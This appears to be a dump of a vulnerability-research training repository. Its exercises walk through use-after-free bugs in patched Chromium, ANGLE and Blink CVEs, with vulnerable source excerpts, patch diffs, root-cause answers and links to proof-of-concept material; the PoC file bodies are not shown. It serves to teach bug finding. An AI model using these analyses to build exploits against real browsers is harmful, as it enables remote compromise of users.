├── LEVEL_1 ├── README.md ├── exercise_1 │ ├── Buffer11.cpp │ ├── README.md │ └── poc.html ├── exercise_2 │ ├── README.md │ ├── VertexArray11.cpp │ └── poc.mp4 ├── exercise_3 │ ├── IndexDataManager.cpp │ ├── README.md │ └── poc.html ├── exercise_4 │ ├── README.md │ └── mac_scrollbar_animator_impl.mm ├── exercise_5 │ ├── README.md │ ├── css_interpolation_types_map.cc │ └── poc.html ├── exercise_6 │ ├── README.md │ ├── animatable.cc │ ├── effect_input.cc │ ├── keyframe_effect.cc │ └── poc.html └── exercise_7 │ ├── README.md │ ├── marker.cc │ └── marking-state.h ├── LEVEL_2 ├── README.md ├── exercise_1 │ ├── README.md │ └── text_searcher_icu.cc ├── exercise_2 │ ├── README.md │ └── visible_units.cc ├── exercise_3 │ ├── README.md │ ├── deflate_transformer.cc │ └── inflate_transformer.cc ├── exercise_4 │ ├── README.md │ └── tab_strip_model.cc ├── exercise_5 │ ├── README.md │ ├── tab_drag_controller.cc │ ├── tab_drag_controller.h │ ├── tab_strip_model.cc │ └── tab_strip_model.h ├── exercise_6 │ ├── README.md │ └── pdfium_page.cc └── exercise_7 │ ├── README.md │ └── webgl_rendering_context_base.cc ├── LEVEL_3 ├── README.md ├── exercise_1 │ ├── README.md │ ├── navigation_predictor.cc │ └── navigation_predictor.h ├── exercise_2 │ ├── README.md │ ├── representation-change.cc │ └── representation-change.h ├── exercise_3 │ ├── README.md │ ├── node_channel.cc │ ├── node_channel.h │ └── user_message_impl.cc ├── exercise_4 │ ├── README.md │ └── receiver_set.h ├── exercise_5 │ ├── README.md │ └── page_handler.cc ├── exercise_6 │ ├── README.md │ ├── ipc_message_pipe_reader.cc │ ├── pickle.cc │ └── pickle.h └── exercise_7 │ └── README.md ├── README.md └── Template.md /LEVEL_1/README.md: -------------------------------------------------------------------------------- 1 | # LEVEL 1 2 | 3 | I will collect some related code and useful descriptions, in order to provide all your demands. But if you feel these not enough, you need to search yourself. 4 | 5 | Find the bug yourself, and if you feel difficult can see tips or the answer. 6 | 7 | I believe you can do better than me. 8 | 9 | -------------------------------------------------------------------------------- /LEVEL_1/exercise_1/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 1 2 | 3 | ## CVE-2020-6542 4 | I choose **CVE-2020-6542**, and I sugget you don't search any report about it to prevents get too much info like patch. 5 | 6 | 7 | ### Details 8 | 9 | > Google Chrome WebGL Buffer11::getBufferStorage Code Execution Vulnerability 10 | > 11 | > Google Chrome is a cross-platform web browser developed by Google. It supports many features, including WebGL (Web Graphics Library), a JavaScript API for rendering interactive 2-D and 3-D graphics. 12 | > 13 | > In some specific cases after binding a zero size buffer we could end up trying to use a buffer storage that was no longer valid. Fix this by ensuring we don't flush dirty bits when we have an early exit due to a zero size buffer. 14 | 15 | --------- 16 |
17 | For more info click me! 18 | 19 | Chromium crashes inside the `Buffer11::getBufferStorage` function. This is because newStorage element points to previously freed memory, leading to a use-after-free vulnerability. 20 |
21 | 22 | **You'd better read some doc about ANGLE to understand the source code** 23 | 24 | -------- 25 | 26 | ### Version 27 | 28 | Google Chrome 84.0.4147.89 29 | 30 | Google Chrome 85.0.4169.0 (Developer Build) (64-bit) 31 | 32 | we can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/034a8b3f3c5c8e7e1629b8ac88cadb72ea68cf23/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp#246) 33 | 34 | ### Related code 35 | 36 | May be you need fetch the source code 37 | ``` 38 | git clone https://chromium.googlesource.com/angle/angle 39 | cd angle 40 | git reset --hard 50a2725742948702720232ba46be3c1f03822ada 41 | ``` 42 | ```c++ 43 | angle::Result VertexArray11::updateDirtyAttribs(const gl::Context *context, 44 | const gl::AttributesMask &activeDirtyAttribs) 45 | { 46 | const auto &glState = context->getState(); 47 | const auto &attribs = mState.getVertexAttributes(); 48 | const auto &bindings = mState.getVertexBindings(); 49 | 50 | for (size_t dirtyAttribIndex : activeDirtyAttribs) 51 | { 52 | mAttribsToTranslate.reset(dirtyAttribIndex); 53 | 54 | auto *translatedAttrib = &mTranslatedAttribs[dirtyAttribIndex]; 55 | const auto ¤tValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex); 56 | 57 | // Record basic attrib info 58 | translatedAttrib->attribute = &attribs[dirtyAttribIndex]; 59 | translatedAttrib->binding = &bindings[translatedAttrib->attribute->bindingIndex]; 60 | translatedAttrib->currentValueType = currentValue.Type; 61 | translatedAttrib->divisor = 62 | translatedAttrib->binding->getDivisor() * mAppliedNumViewsToDivisor; 63 | 64 | switch (mAttributeStorageTypes[dirtyAttribIndex]) 65 | { 66 | case VertexStorageType::DIRECT: 67 | VertexDataManager::StoreDirectAttrib(context, translatedAttrib); 68 | break; 69 | case VertexStorageType::STATIC: 70 | { 71 | // can early exit 72 | ANGLE_TRY(VertexDataManager::StoreStaticAttrib(context, translatedAttrib)); 73 | break; 74 | } 75 | case VertexStorageType::CURRENT_VALUE: 76 | // Current value attribs are managed by the StateManager11. 77 | break; 78 | default: 79 | UNREACHABLE(); 80 | break; 81 | } 82 | } 83 | 84 | return angle::Result::Continue; 85 | } 86 | ========================================================= 87 | template 88 | BitSetT &BitSetT::reset(ParamT pos) 89 | { 90 | ASSERT(mBits == (mBits & Mask(N))); 91 | mBits &= ~Bit(pos); 92 | return *this; 93 | } 94 | ========================================================= 95 | #define ANGLE_TRY(EXPR) ANGLE_TRY_TEMPLATE(EXPR, ANGLE_RETURN) 96 | 97 | #define ANGLE_TRY_TEMPLATE(EXPR, FUNC) \ 98 | do \ 99 | { \ 100 | auto ANGLE_LOCAL_VAR = EXPR; \ 101 | if (ANGLE_UNLIKELY(IsError(ANGLE_LOCAL_VAR))) \ 102 | { \ 103 | FUNC(ANGLE_LOCAL_VAR); \ 104 | } \ 105 | } while (0) 106 | ========================================================= 107 | inline bool IsError(angle::Result result) 108 | { 109 | return result == angle::Result::Stop; 110 | } 111 | ``` 112 | ```c++ 113 | angle::Result VertexDataManager::StoreStaticAttrib(const gl::Context *context, 114 | TranslatedAttribute *translated) 115 | { 116 | ASSERT(translated->attribute && translated->binding); 117 | const auto &attrib = *translated->attribute; 118 | const auto &binding = *translated->binding; 119 | 120 | gl::Buffer *buffer = binding.getBuffer().get(); 121 | ASSERT(buffer && attrib.enabled && !DirectStoragePossible(context, attrib, binding)); 122 | BufferD3D *bufferD3D = GetImplAs(buffer); 123 | 124 | // Compute source data pointer 125 | const uint8_t *sourceData = nullptr; 126 | const int offset = static_cast(ComputeVertexAttributeOffset(attrib, binding)); 127 | 128 | ANGLE_TRY(bufferD3D->getData(context, &sourceData)); 129 | 130 | if (sourceData) 131 | { 132 | sourceData += offset; 133 | } 134 | [ ... ] 135 | ``` 136 | 137 | ```c++ 138 | angle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData) 139 | { 140 | if (mSize == 0) 141 | { 142 | // TODO(http://anglebug.com/2840): This ensures that we don't crash or assert in robust 143 | // buffer access behavior mode if there are buffers without any data. However, technically 144 | // it should still be possible to draw, with fetches from this buffer returning zero. 145 | return angle::Result::Stop; 146 | } 147 | 148 | SystemMemoryStorage *systemMemoryStorage = nullptr; 149 | 150 | ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage)); 151 | 152 | ASSERT(systemMemoryStorage->getSize() >= mSize); 153 | 154 | *outData = systemMemoryStorage->getSystemCopy()->data(); 155 | return angle::Result::Continue; 156 | } 157 | ``` 158 | 159 | ```c++ 160 | template 161 | angle::Result Buffer11::getBufferStorage(const gl::Context *context, 162 | BufferUsage usage, 163 | StorageOutT **storageOut) 164 | { 165 | ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT); 166 | BufferStorage *&newStorage = mBufferStorages[usage]; 167 | 168 | if (!newStorage) 169 | { 170 | newStorage = allocateStorage(usage); 171 | } 172 | 173 | markBufferUsage(usage); 174 | 175 | // resize buffer 176 | if (newStorage->getSize() < mSize) 177 | { 178 | ANGLE_TRY(newStorage->resize(context, mSize, true)); 179 | } 180 | 181 | ASSERT(newStorage); 182 | 183 | ANGLE_TRY(updateBufferStorage(context, newStorage, 0, mSize)); 184 | ANGLE_TRY(garbageCollection(context, usage)); 185 | 186 | *storageOut = GetAs(newStorage); 187 | return angle::Result::Continue; 188 | } 189 | ``` 190 | 191 | 192 | ### Do it 193 | 194 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 195 | 196 | --------- 197 |
198 | My answer 199 | 200 | The answer I write is incomplete, the following answer doesn't mention the reletion between patch and uaf -_-. Recently I have no time to debug PoC to get the truely answer. So I hope you can correct this. 201 | 202 | patch: 203 | ```diff 204 | diff --git a/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp b/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp 205 | index 6bb0bf8..a5f8b6a 100644 206 | --- a/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp 207 | +++ b/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp 208 | @@ -253,8 +253,6 @@ 209 | 210 | for (size_t dirtyAttribIndex : activeDirtyAttribs) 211 | { 212 | - mAttribsToTranslate.reset(dirtyAttribIndex); 213 | - 214 | auto *translatedAttrib = &mTranslatedAttribs[dirtyAttribIndex]; 215 | const auto ¤tValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex); 216 | 217 | @@ -282,6 +280,9 @@ 218 | UNREACHABLE(); 219 | break; 220 | } 221 | + 222 | + // Make sure we reset the dirty bit after the switch because STATIC can early exit. 223 | + mAttribsToTranslate.reset(dirtyAttribIndex); 224 | } 225 | 226 | return angle::Result::Continue; 227 | ``` 228 | doc about [dirty bits](https://chromium.googlesource.com/angle/angle/+/50a2725742948702720232ba46be3c1f03822ada/doc/DirtyBits.md) 229 | 230 | ```c++ 231 | angle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData) 232 | { 233 | if (mSize == 0) 234 | { 235 | return angle::Result::Stop; [1] 236 | } 237 | SystemMemoryStorage *systemMemoryStorage = nullptr; 238 | // call getBufferStorage 239 | ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage)); 240 | } 241 | ``` 242 | incomplete answer: 243 | [1] `Buffer11::getData` can return `angle::Result::Stop` if `mSize == 0` 244 | ```c++ 245 | angle::Result VertexDataManager::StoreStaticAttrib(const gl::Context *context, 246 | TranslatedAttribute *translated) 247 | { 248 | BufferD3D *bufferD3D = GetImplAs(buffer); 249 | // Compute source data pointer 250 | const uint8_t *sourceData = nullptr; 251 | const int offset = static_cast(ComputeVertexAttributeOffset(attrib, binding)); 252 | 253 | ANGLE_TRY(bufferD3D->getData(context, &sourceData)); [2] 254 | 255 | if (sourceData) 256 | { 257 | sourceData += offset; 258 | } 259 | [ ... ] 260 | ========================================================== 261 | Buffer11::~Buffer11() 262 | { 263 | for (BufferStorage *&storage : mBufferStorages) 264 | { 265 | SafeDelete(storage); 266 | } 267 | [ ... ] 268 | ``` 269 | [2] call `Buffer11::getData` in `ANGLE_TRY`, because `mSize == 0` it can return `Stop` then exit early. Finally call `Buffer11::~Buffer11()`, it can free `mBufferStorages`. 270 | 271 | One possible situation (maybe wrong) is we can get the raw buffer early because the "early exit", and the `Buffer11::~Buffer11()` have not been trigger. I can call `getBufferStorage` in other path during `~Buffer11()` before `mBufferStorages[usage]` was set to null. 272 | ```c++ 273 | template 274 | angle::Result Buffer11::getBufferStorage(const gl::Context *context, 275 | BufferUsage usage, 276 | StorageOutT **storageOut) 277 | { 278 | ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT); 279 | BufferStorage *&newStorage = mBufferStorages[usage]; [3] already freed 280 | 281 | if (!newStorage) 282 | { 283 | newStorage = allocateStorage(usage); 284 | } 285 | 286 | markBufferUsage(usage); 287 | 288 | // resize buffer 289 | if (newStorage->getSize() < mSize) [4] trigger uaf 290 | { 291 | ANGLE_TRY(newStorage->resize(context, mSize, true)); 292 | } 293 | } 294 | ``` 295 | In other path call `getBufferStorage` will trigger uaf, like 296 | ```c++ 297 | syncVertexBuffersAndInputLayout -> 298 | applyVertexBuffers -> 299 | getBuffer -> 300 | getBufferStorage 301 | ``` 302 | I get this call tree by this [report](https://talosintelligence.com/vulnerability_reports/TALOS-2020-1127) 303 | 304 | If you are instread of how to construct the Poc, you can get help form [this](https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=457249). 305 | 306 |
307 | 308 | -------- 309 | 310 | -------------------------------------------------------------------------------- /LEVEL_1/exercise_1/poc.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | POC 7 | 8 | 268 | 269 | 309 | 310 | 311 | -------------------------------------------------------------------------------- /LEVEL_1/exercise_2/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 2 2 | 3 | ## CVE-2020-6463 4 | I sugget you don't search any report about it to prevents get too much info like patch. 5 | 6 | This time we do it by code audit, and download source code. 7 | ### Details 8 | 9 | 10 | > When a new texture is bound, the texture binding state is updated before 11 | > updating the active texture cache. With this ordering, it is possible to delete 12 | > the currently bound texture when the binding changes and then use-after-free it 13 | > when updating the active texture cache. 14 | > 15 | > The bug reason in angle/src/libANGLE/State.cpp 16 | 17 | --------- 18 | 19 |
20 | For more info click me! But you'd better not do this 21 | 22 | https://bugs.chromium.org/p/chromium/issues/detail?id=1065186 23 |
24 | 25 | -------- 26 | 27 | ### Set environment 28 | We download the ANGLE 29 | ```sh 30 | git clone https://chromium.googlesource.com/angle/angle 31 | ``` 32 | Then checkout the branch, we set the commit hash 33 | ```sh 34 | cd angle 35 | git reset --hard b83b0f5e9f63261d3d95a75b74ad758509d7a349 # we get it by issue page 36 | ``` 37 | 38 | ### Related code 39 | we can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/e514b0cb7e6b8956ea0c93ceca01b63d5deb621d/src/libANGLE/State.cpp#1171) or offline. 40 | 41 | 42 | ```c++ 43 | void State::setSamplerTexture(const Context *context, TextureType type, Texture *texture) 44 | { 45 | mSamplerTextures[type][mActiveSampler].set(context, texture); 46 | if (mProgram && mProgram->getActiveSamplersMask()[mActiveSampler] && 47 | IsTextureCompatibleWithSampler(type, mProgram->getActiveSamplerTypes()[mActiveSampler])) 48 | { 49 | updateActiveTexture(context, mActiveSampler, texture); 50 | } 51 | mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS); 52 | } 53 | ================================================================= 54 | ANGLE_INLINE void State::updateActiveTexture(const Context *context, 55 | size_t textureIndex, 56 | Texture *texture) 57 | { 58 | const Sampler *sampler = mSamplers[textureIndex].get(); 59 | mCompleteTextureBindings[textureIndex].bind(texture); 60 | 61 | if (!texture) 62 | { 63 | mActiveTexturesCache.reset(textureIndex); 64 | mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS); 65 | return; 66 | } 67 | 68 | updateActiveTextureState(context, textureIndex, sampler, texture); 69 | } 70 | ``` 71 | 72 | ```cpp 73 | using TextureBindingMap = angle::PackedEnumMap; 74 | ======================================================= 75 | TextureBindingMap mSamplerTextures; 76 | ``` 77 | 78 | ```c++ 79 | void set(const ContextType *context, ObjectType *newObject) 80 | { 81 | // addRef first in case newObject == mObject and this is the last reference to it. 82 | if (newObject != nullptr) 83 | { 84 | reinterpret_cast *>(newObject)->addRef(); 85 | } 86 | 87 | // Store the old pointer in a temporary so we can set the pointer before calling release. 88 | // Otherwise the object could still be referenced when its destructor is called. 89 | ObjectType *oldObject = mObject; 90 | mObject = newObject; 91 | if (oldObject != nullptr) 92 | { 93 | reinterpret_cast *>(oldObject)->release(context); 94 | } 95 | } 96 | ``` 97 | 98 | 99 | ### Do it 100 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 101 | 102 | 103 | --------- 104 | 105 |
106 | My answer 107 | 108 | By reading detail, we can know `the texture binding state is updated before updating the active texture cache`. 109 | ```c++ 110 | void State::setSamplerTexture(const Context *context, TextureType type, Texture *texture) 111 | { 112 | mSamplerTextures[type][mActiveSampler].set(context, texture); [1] 113 | if (mProgram && mProgram->getActiveSamplersMask()[mActiveSampler] && 114 | IsTextureCompatibleWithSampler(type, mProgram->getActiveSamplerTypes()[mActiveSampler])) 115 | { 116 | updateActiveTexture(context, mActiveSampler, texture); [2] 117 | } 118 | mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS); 119 | } 120 | ``` 121 | [1] means update the binding state, and [2] means update the active texture cache. What can it delete currently bound texture? 122 | ```c++ 123 | void set(const ContextType *context, ObjectType *newObject) 124 | { 125 | // addRef first in case newObject == mObject and this is the last reference to it. 126 | if (newObject != nullptr) 127 | { 128 | reinterpret_cast *>(newObject)->addRef(); 129 | } 130 | 131 | // Store the old pointer in a temporary so we can set the pointer before calling release. 132 | // Otherwise the object could still be referenced when its destructor is called. 133 | ObjectType *oldObject = mObject; 134 | mObject = newObject; 135 | if (oldObject != nullptr) 136 | { 137 | reinterpret_cast *>(oldObject)->release(context); [3] 138 | } 139 | } 140 | ``` 141 | There is release in set func, and the Triggering condition is `oldObject != nullptr` we can easily get this by set same `texture` twice. If we call `State::setSamplerTexture` twice with same `texture`, it can trigger uaf at `updateActiveTexture` in the second call. 142 | 143 |
144 | 145 | -------- 146 | 147 | -------------------------------------------------------------------------------- /LEVEL_1/exercise_2/poc.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarCrossPortal/bug-hunting-101/c86d7f11ac7f162ed0aecf0135c0b9c73dbad253/LEVEL_1/exercise_2/poc.mp4 -------------------------------------------------------------------------------- /LEVEL_1/exercise_3/poc.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 14 | 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /LEVEL_1/exercise_4/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 4 2 | 3 | ## CVE-2021-21204 4 | I sugget you don't search any report about it to prevents get too much info like patch. 5 | 6 | This time we do it by code audit 7 | 8 | ### Details 9 | 10 | > What is happening is that the BlinkScrollbarPartAnimation instance 11 | passed to BlinkScrollbarPartAnimationTimer is released while 12 | the BlinkScrollbarPartAnimationTimer::TimerFired method runs as 13 | part of BlinkScrollbarPartAnimation::setCurrentProgress call, 14 | during the execution of ScrollbarPainter::setKnobAlpha which ends 15 | up calling BlinkScrollbarPainterDelegate::setUpAlphaAnimation 16 | through a chain of observers. 17 | BlinkScrollbarPainterDelegate::setUpAlphaAnimation releases the 18 | BlinkScrollbarPartAnimation instance which gets deallocated. 19 | BlinkScrollbarPartAnimation::setCurrentProgress continues execution 20 | after ScrollbarPainter::setKnobAlpha returns, but the _scrollbarPointer 21 | is overwritten with garbage and when SetNeedsPaintInvalidation 22 | is called the crash happens. 23 | 24 | You'd better read [these](https://www.chromium.org/blink) to have a preliminary understanding of Blink and make sure you know a little about `Objective-C` 25 | 26 | --------- 27 | 28 |
29 | For more info click me! But you'd better not do this 30 | 31 | https://bugs.chromium.org/p/chromium/issues/detail?id=1189926 32 | 33 |
34 | 35 | -------- 36 | 37 | ### Set environment 38 | 39 | Because the hash we get from issue page is related to chromium, we need download the chromium source code and blink is one part of it. I upload the main file and you can try to fetch chromium. 40 | The hash [`6c3c857b90ef63822c8e598bdb7aea604ba1688c`](https://github.com/chromium/chromium/tree/6c3c857b90ef63822c8e598bdb7aea604ba1688c/third_party/blink) 41 | 42 | ### Related code 43 | we can analysis the source file [online](https://source.chromium.org/chromium/chromium/src/+/6c3c857b90ef63822c8e598bdb7aea604ba1688c:third_party/blink/renderer/core/scroll/mac_scrollbar_animator_impl.mm#414) or offline. 44 | 45 | ```objective-c 46 | class BlinkScrollbarPartAnimationTimer { 47 | public: 48 | BlinkScrollbarPartAnimationTimer( 49 | BlinkScrollbarPartAnimation* animation, 50 | CFTimeInterval duration, 51 | scoped_refptr task_runner) 52 | : timer_(std::move(task_runner), 53 | this, 54 | &BlinkScrollbarPartAnimationTimer::TimerFired), 55 | start_time_(0.0), 56 | duration_(duration), 57 | animation_(animation), 58 | timing_function_(CubicBezierTimingFunction::Preset( 59 | CubicBezierTimingFunction::EaseType::EASE_IN_OUT)) {} 60 | private: 61 | void TimerFired(TimerBase*) { 62 | double current_time = base::Time::Now().ToDoubleT(); 63 | double delta = current_time - start_time_; 64 | 65 | if (delta >= duration_) 66 | timer_.Stop(); 67 | // This is a speculative fix for crbug.com/1183276. 68 | if (!animation_) 69 | return; 70 | 71 | double fraction = delta / duration_; 72 | fraction = clampTo(fraction, 0.0, 1.0); 73 | double progress = timing_function_->Evaluate(fraction); 74 | [animation_ setCurrentProgress:progress]; 75 | } 76 | 77 | TaskRunnerTimer timer_; 78 | double start_time_; // In seconds. 79 | double duration_; // In seconds. 80 | BlinkScrollbarPartAnimation* animation_; // Weak, owns this. 81 | scoped_refptr timing_function_; 82 | }; 83 | ``` 84 | 85 | ```objective-c 86 | - (void)setCurrentProgress:(NSAnimationProgress)progress { 87 | DCHECK(_scrollbar); 88 | CGFloat currentValue; 89 | if (_startValue > _endValue) 90 | currentValue = 1 - progress; 91 | else 92 | currentValue = progress; 93 | blink::ScrollbarPart invalidParts = blink::kNoPart; 94 | switch (_featureToAnimate) { 95 | case ThumbAlpha: 96 | [_scrollbarPainter setKnobAlpha:currentValue]; // call ScrollbarPainter::setKnobAlpha 97 | break; 98 | case TrackAlpha: 99 | [_scrollbarPainter setTrackAlpha:currentValue]; 100 | invalidParts = static_cast(~blink::kThumbPart); 101 | break; 102 | case UIStateTransition: 103 | [_scrollbarPainter setUiStateTransitionProgress:currentValue]; 104 | invalidParts = blink::kAllParts; 105 | break; 106 | case ExpansionTransition: 107 | [_scrollbarPainter setExpansionTransitionProgress:currentValue]; 108 | invalidParts = blink::kThumbPart; 109 | break; 110 | } 111 | _scrollbar->SetNeedsPaintInvalidation(invalidParts); 112 | } 113 | ============================================================================ 114 | - (void)scrollerImp:(id)scrollerImp 115 | animateKnobAlphaTo:(CGFloat)newKnobAlpha 116 | duration:(NSTimeInterval)duration { 117 | if (!_scrollbar) 118 | return; 119 | 120 | DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar)); 121 | 122 | ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp; 123 | [self setUpAlphaAnimation:_knobAlphaAnimation // call BlinkScrollbarPainterDelegate::setUpAlphaAnimation 124 | scrollerPainter:scrollerPainter 125 | part:blink::kThumbPart 126 | animateAlphaTo:newKnobAlpha 127 | duration:duration]; 128 | } 129 | ============================================================================ 130 | - (void)setUpAlphaAnimation: 131 | (base::scoped_nsobject&) 132 | scrollbarPartAnimation 133 | scrollerPainter:(ScrollbarPainter)scrollerPainter 134 | part:(blink::ScrollbarPart)part 135 | animateAlphaTo:(CGFloat)newAlpha 136 | duration:(NSTimeInterval)duration { 137 | blink::MacScrollbarAnimator* scrollbar_animator = 138 | _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator(); 139 | DCHECK(scrollbar_animator); 140 | // If the user has scrolled the page, then the scrollbars must be animated 141 | // here. 142 | // This overrides the early returns. 143 | bool mustAnimate = [self scrollAnimator].HaveScrolledSincePageLoad(); 144 | if (scrollbar_animator->ScrollbarPaintTimerIsActive() && !mustAnimate) 145 | return; 146 | if (_scrollbar->GetScrollableArea()->ShouldSuspendScrollAnimations() && 147 | !mustAnimate) { 148 | scrollbar_animator->StartScrollbarPaintTimer(); 149 | return; 150 | } 151 | // At this point, we are definitely going to animate now, so stop the timer. 152 | scrollbar_animator->StopScrollbarPaintTimer(); 153 | // If we are currently animating, stop 154 | if (scrollbarPartAnimation) { 155 | [scrollbarPartAnimation invalidate]; 156 | scrollbarPartAnimation.reset(); 157 | } 158 | scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc] 159 | initWithScrollbar:_scrollbar 160 | featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha 161 | animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha] 162 | : [scrollerPainter trackAlpha] 163 | animateTo:newAlpha 164 | duration:duration 165 | taskRunner:_taskRunner]); 166 | [scrollbarPartAnimation startAnimation]; 167 | } 168 | ``` 169 | 170 | 171 | 172 | 173 | 174 | ### Do it 175 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 176 | 177 | 178 | --------- 179 | 180 |
181 | My answer 182 | 183 | We can start from `TimerFired` func 184 | ```objective-c 185 | class BlinkScrollbarPartAnimationTimer [ ... ] 186 | void TimerFired(TimerBase*) { 187 | double current_time = base::Time::Now().ToDoubleT(); 188 | double delta = current_time - start_time_; 189 | 190 | if (delta >= duration_) 191 | timer_.Stop(); 192 | // This is a speculative fix for crbug.com/1183276. 193 | if (!animation_) 194 | return; 195 | 196 | double fraction = delta / duration_; 197 | fraction = clampTo(fraction, 0.0, 1.0); 198 | double progress = timing_function_->Evaluate(fraction); 199 | [animation_ setCurrentProgress:progress]; [1] call setCurrentProgress. Notice `animation_` 200 | } 201 | 202 | private: 203 | BlinkScrollbarPartAnimation* animation_; [2] weak, own this 204 | ``` 205 | [2] `BlinkScrollbarPartAnimationTimer` own the instance of `BlinkScrollbarPartAnimation` which assignmented by constructor. This make a chance to trigger uaf. 206 | 207 | ```objective-c 208 | - (void)setCurrentProgress:(NSAnimationProgress)progress { 209 | DCHECK(_scrollbar); 210 | CGFloat currentValue; 211 | blink::ScrollbarPart invalidParts = blink::kNoPart; 212 | switch (_featureToAnimate) { 213 | case ThumbAlpha: 214 | [_scrollbarPainter setKnobAlpha:currentValue]; [3] call ScrollbarPainter::setKnobAlpha 215 | break; 216 | case TrackAlpha: 217 | [_scrollbarPainter setTrackAlpha:currentValue]; 218 | invalidParts = static_cast(~blink::kThumbPart); 219 | break; 220 | } 221 | _scrollbar->SetNeedsPaintInvalidation(invalidParts); 222 | } 223 | ``` 224 | `setCurrentProgress` can call `setKnobAlpha` 225 | ```objective-c 226 | - (void)scrollerImp:(id)scrollerImp 227 | animateKnobAlphaTo:(CGFloat)newKnobAlpha 228 | duration:(NSTimeInterval)duration { 229 | if (!_scrollbar) 230 | return; 231 | 232 | DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar)); 233 | 234 | ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp; 235 | [self setUpAlphaAnimation:_knobAlphaAnimation [4] call BlinkScrollbarPainterDelegate::setUpAlphaAnimation 236 | scrollerPainter:scrollerPainter 237 | part:blink::kThumbPart 238 | animateAlphaTo:newKnobAlpha 239 | duration:duration]; 240 | } 241 | ``` 242 | ```objective-c 243 | - (void)setUpAlphaAnimation: 244 | (base::scoped_nsobject&) 245 | scrollbarPartAnimation 246 | scrollerPainter:(ScrollbarPainter)scrollerPainter 247 | part:(blink::ScrollbarPart)part 248 | animateAlphaTo:(CGFloat)newAlpha 249 | duration:(NSTimeInterval)duration { 250 | blink::MacScrollbarAnimator* scrollbar_animator = 251 | _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator(); 252 | DCHECK(scrollbar_animator); 253 | 254 | // If we are currently animating, stop 255 | if (scrollbarPartAnimation) { [5] 256 | [scrollbarPartAnimation invalidate]; 257 | scrollbarPartAnimation.reset(); 258 | } 259 | scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc] [6] 260 | initWithScrollbar:_scrollbar 261 | featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha 262 | animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha] 263 | : [scrollerPainter trackAlpha] 264 | animateTo:newAlpha 265 | duration:duration 266 | taskRunner:_taskRunner]); 267 | [scrollbarPartAnimation startAnimation]; 268 | } 269 | ``` 270 | The `(base::scoped_nsobject&) scrollbarPartAnimation` can be release by `reset()` 271 | 272 | - About `scoped_nsobject`: 273 | >`scoped_nsobject<>` is patterned after std::unique_ptr<>, but maintains 274 | ownership of an NSObject subclass object. Style deviations here are solely 275 | for compatibility with std::unique_ptr<>'s interface, with which everyone is 276 | already familiar. 277 | 278 | >scoped_nsobject<> takes ownership of an object (in the constructor or in 279 | reset()) by taking over the caller's existing ownership claim. The caller 280 | must own the object it gives to scoped_nsobject<>, and relinquishes an 281 | ownership claim to that object. **scoped_nsobject<> does not call -retain, 282 | callers have to call this manually if appropriate.** 283 | - About `void base::scoped_nsprotocol< NST >::reset( NST object = nil )`: 284 | ```objective-c { 285 | // We intentionally do not check that object != object_ as the caller must 286 | // either already have an ownership claim over whatever it passes to this 287 | // method, or call it with the |RETAIN| policy which will have ensured that 288 | // the object is retained once more when reaching this point. 289 | [object_ release]; 290 | object_ = object; 291 | } 292 | ``` 293 | 294 | 295 |
296 | 297 | -------- 298 | 299 | -------------------------------------------------------------------------------- /LEVEL_1/exercise_5/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 5 2 | 3 | ## CVE-2021-21203 4 | I sugget you don't search any report about it to prevents get too much info like patch. 5 | 6 | This time we do it by code audit 7 | 8 | ### Details 9 | 10 | > Don't erase InterpolationTypes used by other documents 11 | > 12 | > A registered custom property in one document caused the entry for the 13 | > same custom property (unregistered) used in another document to be 14 | > deleted, which caused a use-after-free. 15 | > 16 | > Only store the CSSDefaultInterpolationType for unregistered custom 17 | > properties and never store registered properties in the map. They may 18 | > have different types in different documents when registered. 19 | 20 | You can read [this](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/#core_animation) to know what about `animation` 21 | 22 | 23 | 24 | --------- 25 | 26 |
27 | For more info click me! But you'd better not do this 28 | 29 | https://bugs.chromium.org/p/chromium/issues/detail?id=1192054 30 | 31 |
